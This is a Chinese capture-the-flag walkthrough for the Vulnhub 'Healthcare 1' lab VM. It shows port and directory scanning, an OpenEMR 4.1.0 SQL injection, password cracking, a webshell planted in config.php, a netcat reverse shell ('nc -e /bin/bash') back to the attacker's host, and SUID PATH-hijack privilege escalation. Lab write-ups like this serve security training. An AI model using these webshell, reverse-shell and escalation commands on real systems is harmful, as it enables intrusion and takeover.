Vulnhub: Healthcare 1靶机

发布时间 2023-05-19 20:01:35作者: ctostm

kali:192.168.111.111

靶机:192.168.111.130

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.130

image

目录爆破

feroxbuster -k -d 1 --url http://192.168.111.130  -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,bak,txt,html,sql,zip,phtml,sh -t 1 -e -C 404

image

访问openemr目录,同时发现openemr版本为4.1.0

image

搜索该版本漏洞,发现存在sql注入

searchsploit openemr 4.1.0

image

漏洞利用

利用exp进行sql注入

image

image

john爆破密文

john hash --wordlist=/usr/share/wordlists/rockyou.txt

image

得到admin的密码ackbar,登录后台

image

修改网站源码写入一句话木马

image

访问http://192.168.111.130/openemr/sites/default/config.php?cmd=nc -e /bin/bash 192.168.111.111 4444,获得反弹shell

image

提权

查找suid权限的文件

find / -perm -u=s 2> /dev/null

image

发现/usr/bin/healthcheck该文件会执行ifconfig

image

修改环境变量提权

echo 'cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash' > /tmp/ifconfig
chmod 777 /tmp/ifconfig
export PATH=/tmp:$PATH
/usr/bin/healthcheck
/tmp/bash -p

image

flag

image